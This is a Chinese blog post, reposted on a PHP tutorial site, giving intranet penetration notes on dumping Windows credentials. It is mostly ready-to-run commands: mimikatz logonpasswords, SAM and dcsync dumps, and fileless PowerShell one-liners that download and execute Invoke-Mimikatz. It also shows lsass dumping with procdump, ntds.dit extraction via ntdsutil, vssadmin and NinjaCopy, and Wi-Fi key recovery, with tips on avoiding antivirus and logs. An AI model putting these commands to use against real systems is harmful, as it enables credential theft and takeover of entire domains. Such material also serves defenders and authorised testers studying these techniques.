0

0

内网学习笔记 | 密码抓取

星夢妙者

星夢妙者

发布时间:2025-09-03 08:27:23

|

950人浏览过

|

来源于php中文网

原创

0、前言

Windows 系统一般使用两种方法对用户的密码进行加密处理,在域环境中,用户的密码信息以哈希值的密文形式存储在 ntds.dit 二进制文件中,该文件位于 %SystemRoot%\ntds\ntds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。

在非域环境中,即工作组的环境中,用户的密码等信息被存储在 SAM 文件中,该文件也同样是被系统禁止读取的。

Windows 系统中的密码一般由两部分组成,分别是 LM Hash 和 NTLM Hash,结构通常如下:

代码语言:javascript代码运行次数:0运行复制
username:RID:LM-Hash:NT-Hash

LM Hash(LAN Manager Hash)是 Windows 最早使用的加密算法,由 IBM 设计,其本质是 DES 加密,由于使用的 DES 算法,因此它的 KEY 是固定的,同时结合一些其他特性导致 LM Hash 加密算法较为脆弱,因此微软在 1993 年在 NT 3.1 中引入了 NTLM 协议。

NTLM Hash 是基于 MD4 的加密算法,个人版从 Vista 以后,服务版从 Windows Server 2003 以后,系统的认证方式都采用了 NTLM Hash,为了兼容性,微软也只是把 LM Hash 禁用了,只启用了 NTLM Hash.

在 Windows Vista 和 Windows Server 2003 及之前的系统默认使用的是 LM 加密,只有用户密码超过 14 位时才会使用 NTLM 加密,之后从 Vista 的系统开始,不再使用 LM Hash 加密,而是全部采用了 NTLM Hash 加密。

内网学习笔记 | 密码抓取

如果用户密码为空密码或者不存储 LM Hash 的话,我们抓到的 LM Hash 就是 AAD3B435B51404EEAAD3B435B51404EE,所以在 Vista 和 Windows Server 2003 之后的系统里抓取到的 LM Hash 都是 AAD3B435B51404EEAAD3B435B51404EE,其实这里的 LM Hash 也没有任何意义了。

也就是说从Windows Vista 和 Windows Server 2008 开始,默认情况下只存储 NTLM Hash,LM Hash 将不再被使用。

下面看下常见的抓取密码的工具。

1、GetPass

GetPass 下载地址:https://bbs.pediy.com/thread-163383.htm

以管理员权限直接运行 GetPassword.exe 直接查看到明文密码

内网学习笔记 | 密码抓取
2、PwDump7

PwDump7 下载地址:https://www.tarasco.org/security/pwdump_7/

PwDump7 只能获取到用户的 hash,不能看到明文密码,不过可以使用这个 hash 值去 cmd5 等平台查找明文或者直接用哈希传递。

PwDump7 同样使用管理员权限直接运行即可。

内网学习笔记 | 密码抓取
3、QuarkPwDump

QuarkPwDump 下载地址:https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe

运行以下命令导出用户 Hash

代码语言:javascript代码运行次数:0运行复制
QuarkPwDump.exe --dump-hash-local
内网学习笔记 | 密码抓取
4、Get-PassHashes

Get-PassHashes 是一个 PS 脚本,Get-PassHashes 下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1

导入 ps1 脚本,以管理员权限执行 Get-PassHashes 即可。

代码语言:javascript代码运行次数:0运行复制
Import-Module .\Get-PassHashes.ps1Get-PassHashes

或者绕过无法执行 PS 脚本的限制,直接无文件执行(推荐),同样需要管理员权限。

代码语言:javascript代码运行次数:0运行复制
# 不使用代理powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"
内网学习笔记 | 密码抓取
5、mimikatz

说到密码抓取,又怎能少得了 mimikatz 呢。

mimikatz 是法国技术大神 Benjamin Delpy 使用 C 语言写的一款轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN 和 K8S 票据,还可以执行哈希传递、票据传递、构建黄金票据等。

mimikatz 项目 releases 地址:https://github.com/gentilkiwi/mimikatz/releases

使用 mimikatz 读取本地 SAM 文件,获取 NTLM Hash

代码语言:javascript代码运行次数:0运行复制
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
内网学习笔记 | 密码抓取

或者使用 mimikatz 直接查看明文密码

Pixie.haus
Pixie.haus

AI像素图像生成平台

下载
代码语言:javascript代码运行次数:0运行复制
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
内网学习笔记 | 密码抓取

另外也可以采用 PowerShell 远程加载 mimikatz,相较于直接拷贝 mimikatz.exe 到目标主机,这种方式隐藏性要更好些。

代码语言:javascript代码运行次数:0运行复制
# 不使用代理powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
内网学习笔记 | 密码抓取
6、SAM、SYSTEM、SECURITY 文件导出文件

直接注册表导出 SAM、SYSTEM、SECURITY 文件

代码语言:javascript代码运行次数:0运行复制
reg save HKLM\SAM sam.hivreg save HKLM\SYSTEM system.hivreg save HKLM\SECURITY security.hiv

或者使用 ninjacopy 脚本,下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1

代码语言:javascript代码运行次数:0运行复制
Import-Module -name .\Invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "c:\sam.hiv"Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"Invoke-NinjaCopy -Path "C:\Windows\System32\config\SECURITY" -LocalDestination "c:\security.hiv"

如果条件允许也可以使用 U 盘启动盘直接拷贝以下文件

代码语言:javascript代码运行次数:0运行复制
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITY
代码语言:javascript代码运行次数:0运行复制
除此之外,使用一些漏洞也可以获取到 SAM、SYSTEM、SECURITY 文件,比如 CVE-2021-36934,具体可参考 https://teamssix.com/210725-074847.html
获取 HASH

用 mimikatz 获取

代码语言:javascript代码运行次数:0运行复制
mimikatz.exelsadump::sam /sam:sam.hiv /system:system.hiv
内网学习笔记 | 密码抓取

用 cain 获取,找到 Cracker 里的 LM & NTLM Hash,点击加号,选择从 SAM 导入,选择 SAM 文件后,查看 SYSTEM 文件的 HEX,复制到 Boot Key 里,点击下一步即可查看。

内网学习笔记 | 密码抓取

cain 还可以直接查看明文密码,在 Decoders 里找到 LSA Secrets,导入 system.hiv 和 security.hiv 就可以看到明文的密码了。

内网学习笔记 | 密码抓取

用 SAMInside 读取,直接在 File 菜单中选择导入 SAM 和 SYSTEM 文件即可

内网学习笔记 | 密码抓取
7、lsass.dmp 文件导出文件

任务管理器导出 lsass.dmp 文件,在任务管理器中找到 lsass.exe 右击选择创建转储文件即可。

或者使用 Procdump 导出 lsass.dmp 文件,Procdump 是微软官方发布的工具,因此基本不会被杀软拦截,下载地址:https://download.sysinternals.com/files/Procdump.zip

代码语言:javascript代码运行次数:0运行复制
procdump -accepteula -ma lsass.exe lsass.DMP
获取 HASH

使用 mimikatz 可获取 lsass.dmp 文件里的 hash 以及明文密码值

代码语言:javascript代码运行次数:0运行复制
mimikatz.exesekurlsa::minidump lsass.DMPsekurlsa::logonPasswords full
内网学习笔记 | 密码抓取
8、ntds.dit 文件

在域中的所有账号密码被存放在了 ntds.dit 文件中,如果获取到该文件就相当于拿到整个域权限,不过该文件只在域控中。

ntds.dit 文件位置:

代码语言:javascript代码运行次数:0运行复制
C:\Windows\NTDS\NTDS.dit
导出 ntds.dit

Ntdsutil 导出 ntds.dit 和 system 文件,并放在 C 盘目录下

代码语言:javascript代码运行次数:0运行复制
Ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit
内网学习笔记 | 密码抓取

vssadmin 导出 ntds.dit

代码语言:javascript代码运行次数:0运行复制
vssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit# SAM 等文件也可以使用 vssadmin 导出copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hivcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hivcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\security.hiv

NinjaCopy 脚本也可以,这种方法没有调用 Volume Shadow Copy 服务,所以不会产生日志文件

代码语言:javascript代码运行次数:0运行复制
Import-Module -name .\Invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
获取 HASH

NTDSDumpEx 查看 ntds.dit,下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases

代码语言:javascript代码运行次数:0运行复制
NTDSDumpEx -d ntds.dit -s system.hiv -o domain.txt
内网学习笔记 | 密码抓取

或者使用 impacket 里的 secretsdump.py 脚本查看 ntds.dit 内容,下载地址:https://github.com/SecureAuthCorp/impacket

代码语言:javascript代码运行次数:0运行复制
python3 secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
内网学习笔记 | 密码抓取

除了拷贝 ntds.dit 到本地外,mimikatz 也可以直接查看本机的域用户所有的账号密码,不过相对于拷贝 ntds.dit 到自己的机器上来说,直接使用 mimikatz 隐蔽性肯定就会差些了。

代码语言:javascript代码运行次数:0运行复制
mimikatz.exe# 直接获取 teamssix 域内所有用户 hashlsadump::dcsync /domain:teamssix.com /all /csv# 获取单个用户的详细信息lsadump::dcsync /domain:teamssix.com /user:administrator
9、WIFI 密码

使用自带命令可直接查询

代码语言:javascript代码运行次数:0运行复制
# 获取登录过的 WIFI 名称netsh wlan show profiles# 获取某个连接过的 WIFI 密码netsh wlan show profile name="teamssix" key=clear# 获取所有连接过的 WIFI 密码for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear
内网学习笔记 | 密码抓取

往期推荐

内网学习笔记 | 26、ntds.dit 的提取与散列值导出

内网学习笔记 | 25、Exchange 邮件服务器

内网学习笔记 | 24、SPN 的应用

相关专题

更多
js获取数组长度的方法
js获取数组长度的方法

在js中,可以利用array对象的length属性来获取数组长度,该属性可设置或返回数组中元素的数目,只需要使用“array.length”语句即可返回表示数组对象的元素个数的数值,也就是长度值。php中文网还提供JavaScript数组的相关下载、相关课程等内容,供大家免费下载使用。

557

2023.06.20

js刷新当前页面
js刷新当前页面

js刷新当前页面的方法:1、reload方法,该方法强迫浏览器刷新当前页面,语法为“location.reload([bForceGet]) ”;2、replace方法,该方法通过指定URL替换当前缓存在历史里(客户端)的项目,因此当使用replace方法之后,不能通过“前进”和“后退”来访问已经被替换的URL,语法为“location.replace(URL) ”。php中文网为大家带来了js刷新当前页面的相关知识、以及相关文章等内容

396

2023.07.04

js四舍五入
js四舍五入

js四舍五入的方法:1、tofixed方法,可把 Number 四舍五入为指定小数位数的数字;2、round() 方法,可把一个数字舍入为最接近的整数。php中文网为大家带来了js四舍五入的相关知识、以及相关文章等内容

756

2023.07.04

js删除节点的方法
js删除节点的方法

js删除节点的方法有:1、removeChild()方法,用于从父节点中移除指定的子节点,它需要两个参数,第一个参数是要删除的子节点,第二个参数是父节点;2、parentNode.removeChild()方法,可以直接通过父节点调用来删除子节点;3、remove()方法,可以直接删除节点,而无需指定父节点;4、innerHTML属性,用于删除节点的内容。

479

2023.09.01

JavaScript转义字符
JavaScript转义字符

JavaScript中的转义字符是反斜杠和引号,可以在字符串中表示特殊字符或改变字符的含义。本专题为大家提供转义字符相关的文章、下载、课程内容,供大家免费下载体验。

494

2023.09.04

js生成随机数的方法
js生成随机数的方法

js生成随机数的方法有:1、使用random函数生成0-1之间的随机数;2、使用random函数和特定范围来生成随机整数;3、使用random函数和round函数生成0-99之间的随机整数;4、使用random函数和其他函数生成更复杂的随机数;5、使用random函数和其他函数生成范围内的随机小数;6、使用random函数和其他函数生成范围内的随机整数或小数。

1071

2023.09.04

如何启用JavaScript
如何启用JavaScript

JavaScript启用方法有内联脚本、内部脚本、外部脚本和异步加载。详细介绍:1、内联脚本是将JavaScript代码直接嵌入到HTML标签中;2、内部脚本是将JavaScript代码放置在HTML文件的`<script>`标签中;3、外部脚本是将JavaScript代码放置在一个独立的文件;4、外部脚本是将JavaScript代码放置在一个独立的文件。

659

2023.09.12

Js中Symbol类详解
Js中Symbol类详解

javascript中的Symbol数据类型是一种基本数据类型,用于表示独一无二的值。Symbol的特点:1、独一无二,每个Symbol值都是唯一的,不会与其他任何值相等;2、不可变性,Symbol值一旦创建,就不能修改或者重新赋值;3、隐藏性,Symbol值不会被隐式转换为其他类型;4、无法枚举,Symbol值作为对象的属性名时,默认是不可枚举的。

554

2023.09.20

c++空格相关教程合集
c++空格相关教程合集

本专题整合了c++空格相关教程,阅读专题下面的文章了解更多详细内容。

0

2026.01.23

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
CSS3 教程
CSS3 教程

共18课时 | 4.8万人学习

JavaScript ES5基础线上课程教学
JavaScript ES5基础线上课程教学

共6课时 | 10.3万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号